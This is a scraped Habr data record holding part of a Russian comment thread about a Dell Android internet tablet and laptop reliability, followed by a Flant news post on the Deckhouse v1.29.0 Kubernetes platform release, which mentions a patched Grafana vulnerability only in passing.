</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага. Не считая более 9000 бракованных ноутбуков в россии :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А на R200 вообще похоже пол инета хостится.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я вот эту куплю:<br/>\r\n<a href=\"http://phandroid.com/2009/12/11/blue-magic-ramos-w7-android-mid-event-details/\"><img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/2aa/577/71c/2aa57771ca3573ca3599059e6edcd023.jpg\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/2aa/577/71c/2aa57771ca3573ca3599059e6edcd023.jpg\" data-blurred=\"true\"/></a><br/>\r\nСтоит всего 200$. Экран 4.8″</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пожалуйста добавьте метку «интернет-планшет» к вашему топику:)<br/>\r\nА то многие (ну типа меня) иногда ищут статьи по меткам, и будь жаль если такая ценная статья по интернет-планшетам не найдётся:( </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну в московских магазинах я дешевле 30к рублей не видел. Это за базовую модель, топовая почти под 60к стоит. И то и другое в принципе перебор, хоть конечно и классная штука, даже gps встроенный имеется.<br/>\r\n<br/>\r\nА ХР если и встанет туда, то кнопки скорее всего не будут работать, у меня на vaio tt не работали, плюс не работал датчик освещенности, кнопки громкости и т.д. После апдейта на Висту все заработало.<br/>\r\n<br/>\r\nИнтересно, как эта штука на 7ке вместо Висты будет работать…, т.к. мой tt лучше стал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">работает на 7ке, лучше чем на XP, учитывая что никакого траханья с даунгрейдом, нажал кнопку ИНСТАЛ и пошел курить.<br/>\r\nлетает! )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сегодня тыкал Archos 5. Тоже штука на Android. Миленький. Играет видео, музычка. Ну и интернет. Разве что толстоват. Но там винт встроен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Прощу прощения, забыл сказать об одном минусе — отваливается хренька, которая отвечает за gprs. Сим-карту не видит, работать не хочет. Потратил два дня на решение проблемы. Но это было месяца три назад. Сейчас может придумали уже.<br/>\r\nНа этом заканчиваются проблемы, после установки 7-ки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня на каком-то вистовом семнадцатидюймовом вайо тоже ХР не встала, с тех пор я и не люблю вайо и висту. Я находил подробные мануалы по установке ХР, но там почему-то другое железо было в лэптопах, хотя модель была точь-в-точь как у меня. И скачанные драйвера не подходили :(<br/>\r\n<br/>\r\nДля этого я тоже нашёл пару подробных мануалов, как ставить ХР ( <a href=\"http://forum.pocketables.net/showthread.php?t=1906&amp;page=16\">forum.pocketables.net/showthread.php?t=1906&amp;page=16</a> ) <br/>\r\nПишут, что с ХР всё летает. Там много разных отзывов, у кого кнопки не работали, у кого лампочки, у кого модемы. Пара человек добились работы всего, вроде.<br/>\r\n<br/>\r\nТак же в других местах читал отзывы, что семёрка на этой цацке работает пошустрее висты. К тому же, апгрейд до конца января бесплатный.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Подскажите пожалуйста как называется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы чертовски правы, блики просто индентичные! </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://phandroid.com/2009/12/11/blue-magic-ramos-w7-android-mid-event-details/\">Ramos W7</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А, то есть WM играет на каком-то другом рынке, без конкурентов?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На рынке КПК, а не их подобия.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо! <br/>\r\n<br/>\r\nНасколько я понял, он еще не продаётся? Тоже бы купил.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://www.jiongtang.com/shop/ramos-w7-android-mid-wifi-bluetooth-8gb-otg-48-p-126.html\">продается</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А Windows CE? Это раз. Два — КПК вымирают уже, вроде, по-тихоньку. Если честно, не видел за последние 4 года ни у кого КПК на WM. Да и КПК то мало у кого видел. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">WinCE это немного другое.<br/>\r\nВсе коммуникаторы с WM это по сути КПК с поддержкой GSM/WCDMA сетей. (А за это многие ведь и пинают, только не понятно зачем.)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пользуюсь Dell Vostro 1310… awesome!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А в чем проблема? Я специально купил был себе розовый нетбук MSI Wind U100… Было прикольно наблюдать со стороны… потом привык… ща правда ним мама пользуется… :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Посмотрите GPS навигаторы… посмотрите модели HTC 2008-2009 года… посмотрите китайпром… Я тоже перепрыгнул в прошлом году на Android с появлением Hero, но все-таки — WM пока что еще на рынке сидит, и до тех пор пока не появится на Android человеческих GPS-карт, то на отечественном рынке он будет сидеть долго… :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ноут xps m1330 — года работы и проблемы с видео картой, нерабочий ноут, у некоторых проблемы возникали через месяц. Респект за то что быстро и оперативно исправили в техцентре, но осадок остался. Так что Dell для меня уже не символ качества, коим был</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А видеокарта от nvidia? Какая-нибудь 8400 или 8600? Которая рано или поздно умирает у любого производителя? От которой опять же практически все производители и пострадали, и nvidia приносила вагон извинений с чемоданами денег? ;)<br/>\r\nИли там другая была?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Она зараза! именно она!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тогда наоборот надо радоваться, что всё сделали, ибо проблема была массовая, а поведение разных производителей отличающееся.<br/>\r\n<br/>\r\nПравда, Dell, пользователям тоже свинью подложил, сделал апдейт биоса, где «решалась проблема с видеокартами nvidia». На практике, этот биос почаще крутил вентилятор чтобы не сильно грелась, как результат: больше шума, меньше время работы от батарей и видеокарта всё равно выходила из строя, но… уже после гарантии.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, все исправили, осадок как говорится остался. Теперь круг сузился… остались Toshiba, Sony.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Просто в данном случае Dell совершенно не виноват. Ну не могли они это предусмотреть заранее. Кто знал, что <b>вся</b> партия видеокарт от солидного производителя окажется бракованной. Причём очень хитро бракованной. Т.е. тут наоборот, надо дать им плюс за сервис. <br/>\r\nДанный случай уж очень нетипичный, и осадок по этому пункту надо взбалтывать :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Категорически не согласен. Они были обязаны отозвать всю партию, как только узнали о таком браке. НО! на официальном сайте было упоминание, но широкой огласки оно не получило. Я заплатил деньги, я хочу получить качество, и мне 100 раз наплевать на то какие у фирмы будут проблемы, и что они рассчитали или нет.<br/>\r\n<br/>\r\nОсадок никуда не денется, я был бы доволен, если бы мне вернули деньги, или дали близкий по конфигурации ноут. Да, я не зажрался. Я бы тогда говорил всем своим знакомым и друзьям — «Dell молодцы, уважаю, облажались и исправились», но я им говорю другое «Dell? нет, ребята подумайте не один раз перед тем как купить его...».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, если вы та считаете… Это я могу понять, и могу понять ваш осадок. Другое дело, что я не разделяю ваше мнение, но ситуацию я понял.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">асус по-моему половине брендов делает ноутбуки, не только запцацки</div>" ], "message_markdown": [ "Люблю dell, но цвет пугает...", "Люблю веб-таблетки и андроид, но Dell пугает...", "Dell всегда делал очень продуманные и надежные девайсы, сужу по x51v которым пользуюсь по сей день...", "Возможно. Я с этой стороны с деллом не сталкивался, знаю его как производителя десктопных нетаблеток, потому и с осторожностью отношусь к более мелким девайсам его производства.", "А я вот уже задумался над приобретением именно из-за надежного бренда )", "С возвращением, КПК! Ура =)", "Отличная вещица.\nЕсли выйдет в тираж в черном матовом варианте — беру (=", "Я так ждал что они что нибудь на Windows Mobile выпустят...", "Класс!", "Я смотрю любители андроида подтянулись %)))))", "когда уже в продаже будет. все концепты да концепты, а купить и нечего. приходится для интернетов юзать гигантский 701G", "С лицевой стороны очень напоминает Blackberry.", "UFO just landed and posted this here", "Если уж что он и напоминает, то Nokia N800/810", "HTC HD2 по экрану обошли) И по ОС. Думаю проц там 1ггц. Аппарат нравится но не в любой карман влезет...", "Хочу что-то подобное, с большим экраном (5-6 дюймов, с хорошим разрешением) и удобной клавиатурой, чтобы полностью заменял лэптоп.", "люблю делл, но андроид пугает...", "", "Мне кажется цвет будет другим. Или их будет несколько", "Господа, что же это делается? Он же розовый оО\nЯ понимаю там раскладушка от какого-нибудь Самсунг. Но это же интернет-планшет от делл оО\nРозовый интернет-планшет от делл Оо", "новинка будет доступна в розовом и черном исполнении, в добавление красная версия была показана журналистам на CES.\nwww.electronista.com/articles/10/01/08/features.2.cameras.and.offered.in.range.of.colors/", "Как будто в WM есть что-то плохое, или это сейчас так модно?", "А мне вот эта штука понравилась.\nПо ссылке виде есть.", "Samsung Q1 Ultra?", "открою вам уже давно не тайну:\ndell axim x51v, так же как и hp 4700 и Fujitsu Siemens LOOX 720 (лучшие кпк своего времени), на самом деле производства HTC\nпруфлинк", "UFO just landed and posted this here", "> Dell, has confirmed that the device will come with a built-in SIM card option\nТак по нему еще и звонить можно будет, дайте два (но черных)!", "Из-за размера не очень понятно сколько весить будет, да и не ясно в какой карман влезет.", "UFO just landed and posted this here", "WM — наврено худшая мобильная ось из всех что существуют на текущий момент;", "UFO just landed and posted this here", "Ох уж эта любовь кнопки переставлять...\nДля кирилицы трех кнопок не хватит, судя по всему:(", "А мне вот это. Только они очень много денег хотят...", "Немного доп.информации по устройству:\nРазрешение экрана всё те же 800х480, как и у Droid/Nexus One.\nВот и мини видеообзор подоспел\nwww.youtube.com/watch?v=wIV3i-E2PqQ", "Уже подешевели, VGN-P11Z/G стоит 450 евро. Я чуть было не купил на прошлой неделе, но потом почитал про неё: там виста на 1,3 Ггц атоме — это очень медленно. На следующий день потыкал в магазине — всё тормозит. Загрузился во встроенный линукс — всё тормозит даже в главном меню. Фотки открываются по минуте. А вот видео, на удивление, не тормозило совсем.\nВ интернетах есть пара описаний, как поставить туда ХР, но официальных драйверов и софта под ХР нет, приходится всё обрабатывать напильником, и нет гарантии, что заработают управляющие кнопки и WLAN/WWAN :( А без WWAN такая игрушка мне не нужна — я хотел именно субноут, который всегда с собой и всегда в сети.\nЕщё там разрешение слишком высокое, 1600 пикселей в ширину на 8\" экране — это перебор.\nЭту штуку бы, да с ХР или лёгковесным Linux, разрешение экрана чуть пониже, да за такую же цену — взял бы сразу.", "девайсы Dell — страшненькие, но надёжные", "У Делла обычно широкая палитра цветов. Возьмите любой лэптоп отсюда и попробуйте покастомайзить — почти всегда можно выбрать цвет.", "А я, вспоминая блоги девчушек из лайвинтернета, прихожу к выводу, что у них альтернативное восприятие цветовой гаммы :)", "И что же там такого ужасного? Если будете отвечать то не сравнивайте WM с телефонами и прочими под них косящими (android, iphone).", "Я в самом начале сказал: Худшая.\nТ.е из всех что существуют.\nТ.е в сравнении с теми что сейчас существуют — WM худшая.", "Эт точно. В свой древний (относительно) 1501 добил памяти до 2 гигов и винт ssd — офисно-мультимедийный функции работают... Что еще надо то?", "Пять это как я понимаю диагональ экрана?\nИнтересная штука.", "А еще некоторые делловские ноутбуки делает самсунг, в этом нет никакой проблемы, поскольку делл гарантирует поддержку, вероятно обеспечивает дополнительный контроль качества, а может быть даже делловский R&D участвует. Возможно даже использует некоторые патенты, которые самсунг или тот же HTC использовать не могут.", "«Найдите 5224 различия?»", "Я же не сказал, что одно и то же. Я сказал, что похоже.", "Не знаю, я так не думаю.", "солидарен! очень качественные девайсы даже на вид!", "а мне очень нравится дизайн и столь Dell'ов. Они такие строгие и ненавязчивые... Я поклонник", "Как хотите, так и думайте, кто вам запрещает.", "Пожалуй, кроме дизайна Dell нравится только дизайн Lenovo. Строгий и в то же время стильный. Ну а предустановленная ОС от google только подогревает интерес к данному девайсу.", "Ага. Не считая более 9000 бракованных ноутбуков в россии :)", "А на R200 вообще похоже пол инета хостится.", "А я вот эту куплю:\nСтоит всего 200$. Экран 4.8′′", "Пожалуйста добавьте метку «интернет-планшет» к вашему топику:)\nА то многие (ну типа меня) иногда ищут статьи по меткам, и будь жаль если такая ценная статья по интернет-планшетам не найдётся:(", "Ну в московских магазинах я дешевле 30к рублей не видел. Это за базовую модель, топовая почти под 60к стоит. И то и другое в принципе перебор, хоть конечно и классная штука, даже gps встроенный имеется.\nА ХР если и встанет туда, то кнопки скорее всего не будут работать, у меня на vaio tt не работали, плюс не работал датчик освещенности, кнопки громкости и т.д. После апдейта на Висту все заработало.\nИнтересно, как эта штука на 7ке вместо Висты будет работать..., т.к. мой tt лучше стал.", "работает на 7ке, лучше чем на XP, учитывая что никакого траханья с даунгрейдом, нажал кнопку ИНСТАЛ и пошел курить.\nлетает! )", "Сегодня тыкал Archos 5. Тоже штука на Android. Миленький. Играет видео, музычка. Ну и интернет. Разве что толстоват. Но там винт встроен.", "Прощу прощения, забыл сказать об одном минусе — отваливается хренька, которая отвечает за gprs. Сим-карту не видит, работать не хочет. Потратил два дня на решение проблемы. Но это было месяца три назад. Сейчас может придумали уже.\nНа этом заканчиваются проблемы, после установки 7-ки.", "У меня на каком-то вистовом семнадцатидюймовом вайо тоже ХР не встала, с тех пор я и не люблю вайо и висту. Я находил подробные мануалы по установке ХР, но там почему-то другое железо было в лэптопах, хотя модель была точь-в-точь как у меня. И скачанные драйвера не подходили :(\nДля этого я тоже нашёл пару подробных мануалов, как ставить ХР ( forum.pocketables.net/showthread.php?t=1906&page=16 )\nПишут, что с ХР всё летает. Там много разных отзывов, у кого кнопки не работали, у кого лампочки, у кого модемы. Пара человек добились работы всего, вроде.\nТак же в других местах читал отзывы, что семёрка на этой цацке работает пошустрее висты. К тому же, апгрейд до конца января бесплатный.", "Подскажите пожалуйста как называется.", "Вы чертовски правы, блики просто индентичные!", "Ramos W7", "А, то есть WM играет на каком-то другом рынке, без конкурентов?", "На рынке КПК, а не их подобия.", "Спасибо!\nНасколько я понял, он еще не продаётся? Тоже бы купил.", "продается", "А Windows CE? Это раз. Два — КПК вымирают уже, вроде, по-тихоньку. Если честно, не видел за последние 4 года ни у кого КПК на WM. Да и КПК то мало у кого видел.", "WinCE это немного другое.\nВсе коммуникаторы с WM это по сути КПК с поддержкой GSM/WCDMA сетей. (А за это многие ведь и пинают, только не понятно зачем.)", "Пользуюсь Dell Vostro 1310... awesome!", "А в чем проблема? Я специально купил был себе розовый нетбук MSI Wind U100... Было прикольно наблюдать со стороны... потом привык... ща правда ним мама пользуется... :)", "Посмотрите GPS навигаторы... посмотрите модели HTC 2008-2009 года... посмотрите китайпром... Я тоже перепрыгнул в прошлом году на Android с появлением Hero, но все-таки — WM пока что еще на рынке сидит, и до тех пор пока не появится на Android человеческих GPS-карт, то на отечественном рынке он будет сидеть долго... :)", "Ноут xps m1330 — года работы и проблемы с видео картой, нерабочий ноут, у некоторых проблемы возникали через месяц. Респект за то что быстро и оперативно исправили в техцентре, но осадок остался. Так что Dell для меня уже не символ качества, коим был", "А видеокарта от nvidia? Какая-нибудь 8400 или 8600? Которая рано или поздно умирает у любого производителя? От которой опять же практически все производители и пострадали, и nvidia приносила вагон извинений с чемоданами денег? ;)\nИли там другая была?", "Она зараза! именно она!", "Тогда наоборот надо радоваться, что всё сделали, ибо проблема была массовая, а поведение разных производителей отличающееся.\nПравда, Dell, пользователям тоже свинью подложил, сделал апдейт биоса, где «решалась проблема с видеокартами nvidia». На практике, этот биос почаще крутил вентилятор чтобы не сильно грелась, как результат: больше шума, меньше время работы от батарей и видеокарта всё равно выходила из строя, но... уже после гарантии.", "Да, все исправили, осадок как говорится остался. Теперь круг сузился... остались Toshiba, Sony.", "Просто в данном случае Dell совершенно не виноват. Ну не могли они это предусмотреть заранее. Кто знал, что вся партия видеокарт от солидного производителя окажется бракованной. Причём очень хитро бракованной. Т.е. тут наоборот, надо дать им плюс за сервис.\nДанный случай уж очень нетипичный, и осадок по этому пункту надо взбалтывать :)", "Категорически не согласен. Они были обязаны отозвать всю партию, как только узнали о таком браке. НО! на официальном сайте было упоминание, но широкой огласки оно не получило. Я заплатил деньги, я хочу получить качество, и мне 100 раз наплевать на то какие у фирмы будут проблемы, и что они рассчитали или нет.\nОсадок никуда не денется, я был бы доволен, если бы мне вернули деньги, или дали близкий по конфигурации ноут. Да, я не зажрался. Я бы тогда говорил всем своим знакомым и друзьям — «Dell молодцы, уважаю, облажались и исправились», но я им говорю другое «Dell? нет, ребята подумайте не один раз перед тем как купить его...».", "Ну, если вы та считаете... Это я могу понять, и могу понять ваш осадок. Другое дело, что я не разделяю ваше мнение, но ситуацию я понял.", "асус по-моему половине брендов делает ноутбуки, не только запцацки" ], "author": [ "Anton Spirin (dude_sam)", "Махмуд (Maxmyd)", "Антон Виноградов (randoom)", "Махмуд (Maxmyd)", "Антон Виноградов (randoom)", "kay", "ksenobayt", "Himari", "ivlis (ivlis)", "Himari", "non7top (non7top)", "Ден Талалá (r3s3t)", "{}", "romx (romx)", "Карнаухов Олег (BupycNet)", "Good Kat (Goodkat)", "andrew_tch", "Ден Талалá (r3s3t)", "Freezy", "Александр (Tcapb)", "Dmitry (aNDREIQA)", "Himari", "Евгений (iswitch)", "#E0 (nE0)", "Pavel V. Gustchin (paradigm)", "{}", "Кирилл Улитин (ulitin)", "Сергей Валиев (santa)", "{}", "Чиркин Дима (josser)", "{}", "Makor", "187 (187)", "Forsaken", "Good Kat (Goodkat)", "SeVit (SeVit)", "Mezomish", "Сергей (Svarog)", "Himari", "Чиркин Дима (josser)", "Anton Spirin (dude_sam)", "Александр (alexfg)", "Elvis_the_King", "Давид (Ueasley)", "Ден Талалá (r3s3t)", "Давид (Ueasley)", "Arsen Adzhiametov (Kalpazan)", "Arsen Adzhiametov (Kalpazan)", "Ден Талалá (r3s3t)", "Александр (shisik)", "TWINc (TWINc)", "AstonMartin (AstonMartin)", "Денис (pixxxel)", "Борис Владимирович (zboris)", "187 (187)", "xaja (xaja)", "SlexPiter (SlexPiter)", "xaja (xaja)", "Good Kat (Goodkat)", "Дмитрий Антонов (helloworld0)", "Евгений Перепелятников (lasc)", "Денис (pixxxel)", "Давид (Ueasley)", "Himari", "Дмитрий Антонов (helloworld0)", "Денис (pixxxel)", "Давид (Ueasley)", "Himari", "Тарас Бездетный (Vertex)", "Тарас Бездетный (Vertex)", "Тарас Бездетный (Vertex)", "chupvl (chupvl)", "force (force)", "chupvl (chupvl)", "force (force)", "chupvl (chupvl)", "force (force)", "chupvl (chupvl)", "force (force)", "laptop_gee (laptop_gee)" ], "children": [ [ 13956523, 13956545 ], [ 13956525, 13956553, 13956657 ], [ 13956527, 13956569, 13956577, 13956613, 13956621, 13956623, 13956663 ], [ 13956529 ], [], [], [], [ 13956539 ], [], [], [], [ 13956547 ], [ 13956557, 13956595, 13956659 ], [ 13956555 ], [ 13956563 ], [ 13956567 ], [], [ 13956607, 13956641 ], [ 13956593 ], [], [], [ 13956579 ], [ 13956571, 13956583, 13956585, 13956625 ], [], [ 13956605 ], [], [ 13956581 ], [], [], [ 13956597 ], [], [], [ 13956589 ], [], [ 13956629 ], [ 13956615 ], [], [], [ 13956599, 13956645 ], [], [], [], [ 13956679 ], [ 13956609 ], [ 13956611 ], [ 13956617 ], [], [], [], [], [], [], [ 13956639 ], [], [ 13956631, 13956637 ], [ 13956635 ], [], [], [], [ 13956643 ], [], [ 13956649 ], [ 13956647 ], [ 13956653 ], [ 13956651 ], [], [ 13956655, 13956661 ], [], [], [], [], [ 13956665 ], [ 13956667 ], [ 13956669 ], [ 13956671 ], [ 13956673 ], [ 13956675 ], [ 13956677 ], [], [] ] }
647,381
ru
https://habr.com/ru/post/647381/
Новая версия Kubernetes-платформы Deckhouse v1.29.0
Расскажем об изменениях, которые появились в новом стабильном релизе нашей K8s-платформы Deckhouse — v1.29.0. ## Важные изменения Обновленная — безопасная — версия Grafana. В начале декабря стало известно, что у Grafana есть критическая уязвимость нулевого дня (CVE-2021-43798). С ее помощью можно организовать атаку типа обход каталога и получить доступ к локальным файлам. Уязвимость была актуальна для всех версий Grafana, начиная с v8.0.0-beta1 и новее. Патч выпустили через сутки после того, как стало известно об уязвимости. Теперь в Deckhouse используется защищенная версия Grafana v8.2.7. Отказ от поддержки alpha-версий cert-manager в связи с требованиями по переходу на новый релиз v1.6.1. Изменение касается только нового cert-manager; для старого cert-manager 0.10.1 `(certmanager.k8s.io`) пока все остается как есть. Сам cert-manager обновился с v1.5.4 до v1.6.1. В новой версии исправлены некоторые баги и улучшено логирование ошибок. ## Другие улучшения Функции, которые появились в отдельных компонентах и модулях: log-shipper — поддержка потоков данных Elasticsearch (data streams) для хранения логов и метрик. Потоки данных позволяют хранить данные типа append-only («только добавляемые») по нескольким индексам и предоставляют единый именованный ресурс для запросов. Data streams удобны для сбора логов, событий, метрик и других постоянно генерируемых данных. Функция поддерживается в Elasticsearch v7.16+; node-manager — добавлено принудительное удаление Pod’ов с узла в ситуации, когда узел запрашивает ломающее обновление, но `PodDisruptionBudget` препятствует выселению Pod’ов; secret-copier — реализована логика Create Or Update для управления секретами. Также добавлена поддержка label-селектора, чтобы копировать секреты только в определенные пространства имен; ingress-nginx — появилась возможность устанавливать SSL-сертификат по умолчанию. Для этого в конфигурации IngressNginxController добавлено поле `.spec.defaultSSLCertificate.secretRef`. Опция избавляет от необходимости задавать имя секрета в объекте Ingress. В документации появилась инструкция по использованию Harbor в качестве стороннего container registry, информация о лимите в Dex для защиты от перебора паролей и о слиянии нескольких cluster authorization rules для одного пользователя, а также проведен рефакторинг вывода OpenAPI-спецификаций. Полный список изменений, представленных в Deckhouse v1.29.0, опубликован в changelog’е. В следующем релизе (v1.30), в частности, ожидается появление поддержки Kubernetes версии 1.22. ## P.S. Для знакомства с Kubernetes-платформой Deckhouse рекомендуем раздел «Быстрый старт» (на русском и английском языках). Полезные ссылки на ресурсы проекта: основной GitHub-репозиторий; официальный Twitter-аккаунт (на английском); русскоязычный Telegram-чат. Читайте также в нашем блоге: «Kubernetes-платформа Deckhouse зарегистрирована в Едином реестре российского ПО»; «Как переехать с GKE на Deckhouse, чтобы разработчики этого даже не заметили. Кейс robota.ua»; «Deckhouse v1.28.0. Ключевые фичи в новом релизе Kubernetes-платформы».
<div xmlns="http://www.w3.org/1999/xhtml"><p>Расскажем об изменениях, которые появились в новом стабильном релизе нашей K8s-платформы <a href="https://deckhouse.io/"><u>Deckhouse</u></a> — <a href="https://github.com/deckhouse/deckhouse/releases/tag/v1.29.0"><u>v1.29.0</u></a>.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/f45/d6a/791/f45d6a791816583d017e5242e64c50d6.png" width="700" height="400" data-src="https://habrastorage.org/getpro/habr/upload_files/f45/d6a/791/f45d6a791816583d017e5242e64c50d6.png"/><figcaption></figcaption></figure><h2>Важные изменения</h2><p><strong>Обновленная — безопасная — версия Grafana.</strong> В начале декабря стало известно, что у Grafana есть критическая уязвимость нулевого дня (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43798"><u>CVE-2021-43798</u></a>). С ее помощью можно организовать атаку типа обход каталога и получить доступ к локальным файлам. Уязвимость была актуальна для всех версий Grafana, начиная с v8.0.0-beta1 и новее. Патч <a href="https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/"><u>выпустили</u></a> через сутки после того, как стало известно об уязвимости. Теперь в Deckhouse используется защищенная версия Grafana v8.2.7.</p><p><strong>Отказ от поддержки alpha-версий cert-manager </strong>в связи <a href="https://cert-manager.io/docs/release-notes/release-notes-1.6/#legacy-cert-manager-api-versions-are-no-longer-served"><u>с требованиями по переходу на новый релиз v1.6.1</u></a>.<strong> </strong>Изменение касается только <a href="https://cert-manager.io/"><u>нового cert-manager</u></a>; для старого cert-manager 0.10.1 <code>(certmanager.k8s.io</code>) пока все остается как есть. Сам cert-manager обновился с v1.5.4 до v1.6.1. В новой версии исправлены некоторые баги и улучшено логирование ошибок.</p><h2>Другие улучшения</h2><p>Функции, которые появились в отдельных компонентах и модулях:</p><ul><li><p><strong>log-shipper</strong> — поддержка потоков данных Elasticsearch (<a href="https://www.elastic.co/guide/en/elasticsearch/reference/8.0/data-streams.html"><u>data streams</u></a>) для хранения логов и метрик. Потоки данных позволяют хранить данные типа <a href="https://en.wikipedia.org/wiki/Append-only#Data_structures"><u>append-only</u></a> («только добавляемые») по нескольким индексам и предоставляют единый именованный ресурс для запросов. Data streams удобны для сбора логов, событий, метрик и других постоянно генерируемых данных. ​​Функция поддерживается в Elasticsearch v7.16+;</p></li><li><p><strong>node-manager</strong> — добавлено принудительное удаление Pod’ов с узла в ситуации, когда узел запрашивает ломающее обновление, но <code>PodDisruptionBudget</code> препятствует выселению Pod’ов;</p></li><li><p><strong>secret-copier</strong> — реализована логика <em>Create Or Update</em> для управления секретами. Также добавлена поддержка label-селектора, чтобы копировать секреты только в определенные пространства имен;</p></li><li><p><strong>ingress-nginx‎</strong> — появилась возможность устанавливать SSL-сертификат по умолчанию. Для этого в конфигурации IngressNginxController добавлено поле <code>.spec.defaultSSLCertificate.secretRef</code>. Опция избавляет от необходимости задавать имя секрета в объекте Ingress.</p></li></ul><p>В <strong>документации</strong> появилась <a href="https://deckhouse.io/ru/documentation/v1.29.0/deckhouse-faq.html#harbor"><u>инструкция</u></a> по использованию Harbor в качестве стороннего container registry, информация <a href="https://deckhouse.io/ru/documentation/v1.29.0/modules/150-user-authn/faq.html#%D0%BA%D0%B0%D0%BA-dex-%D0%B7%D0%B0%D1%89%D0%B8%D1%89%D0%B5%D0%BD-%D0%BE%D1%82-%D0%BF%D0%BE%D0%B4%D0%B1%D0%BE%D1%80%D0%B0-%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D0%B0-%D0%B8-%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8F"><u>о лимите в Dex</u></a> для защиты от перебора паролей и <a href="https://deckhouse.io/ru/documentation/v1.29.0/modules/140-user-authz/faq.html#%D1%87%D1%82%D0%BE-%D0%B5%D1%81%D0%BB%D0%B8-%D0%B4%D0%B2%D0%B0-clusterauthorizationrules-%D0%BF%D0%BE%D0%B4%D1%85%D0%BE%D0%B4%D1%8F%D1%82-%D0%B4%D0%BB%D1%8F-%D0%BE%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8F"><u>о слиянии нескольких cluster authorization rules</u></a> для одного пользователя, а также проведен рефакторинг вывода OpenAPI-спецификаций.</p><p>Полный список изменений, представленных в Deckhouse v1.29.0, опубликован <a href="https://github.com/deckhouse/deckhouse/releases/tag/v1.29.0"><u>в changelog’е</u></a>. В следующем релизе (v1.30), в частности, ожидается появление поддержки Kubernetes версии 1.22.</p><h2>P.S.</h2><p>Для знакомства с Kubernetes-платформой Deckhouse рекомендуем раздел <a href="https://deckhouse.io/ru/gs/">«<u>Быстрый старт</u>»</a> (на русском и английском языках).</p><p>Полезные ссылки на ресурсы проекта:</p><ul><li><p><a href="https://github.com/deckhouse/deckhouse"><u>основной GitHub-репозиторий</u></a>; </p></li><li><p><a href="https://twitter.com/deckhouseio"><u>официальный Twitter-аккаунт</u></a> (на английском); </p></li><li><p><a href="https://t.me/deckhouse_ru"><u>русскоязычный Telegram-чат</u></a>.</p></li></ul><p>Читайте также в нашем блоге:</p><ul><li><p><a href="https://habr.com/ru/company/flant/news/t/597623/">«<u>Kubernetes-платформа Deckhouse зарегистрирована в Едином реестре российского ПО</u>»</a>;</p></li><li><p><a href="https://habr.com/ru/company/flant/blog/598399/">«<u>Как переехать с GKE на Deckhouse, чтобы разработчики этого даже не заметили. Кейс robota.ua</u>»</a>; </p></li><li><p><a href="https://habr.com/ru/company/flant/news/t/595335/">«<u>Deckhouse v1.28.0. Ключевые фичи в новом релизе Kubernetes-платформы</u>»</a>.</p></li></ul></div>
Евгений Самойлов (EvgenySamoylov)
null
null
<p>Расскажем об изменениях, которые появились в новом стабильном релизе нашей K8s-платформы Deckhouse — v1.29.0.</p>
Расскажем об изменениях, которые появились в новом стабильном релизе нашей K8s-платформы Deckhouse — v1.29.0.
news
1,643,181,706
{ "commentsCount": 0, "favoritesCount": 2, "readingCount": 1322, "score": 23, "votesCount": 23, "votesCountPlus": 23, "votesCountMinus": 0 }
[]
[ "flant", "open_source", "sys_admin", "devops", "kubernetes" ]
[ "develop", "admin" ]
[ "Deckhouse", "kubernetes", "флант" ]
2
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
533,302
en
https://habr.com/ru/post/533302/
Talking About Errors in the QuantConnect Lean Code
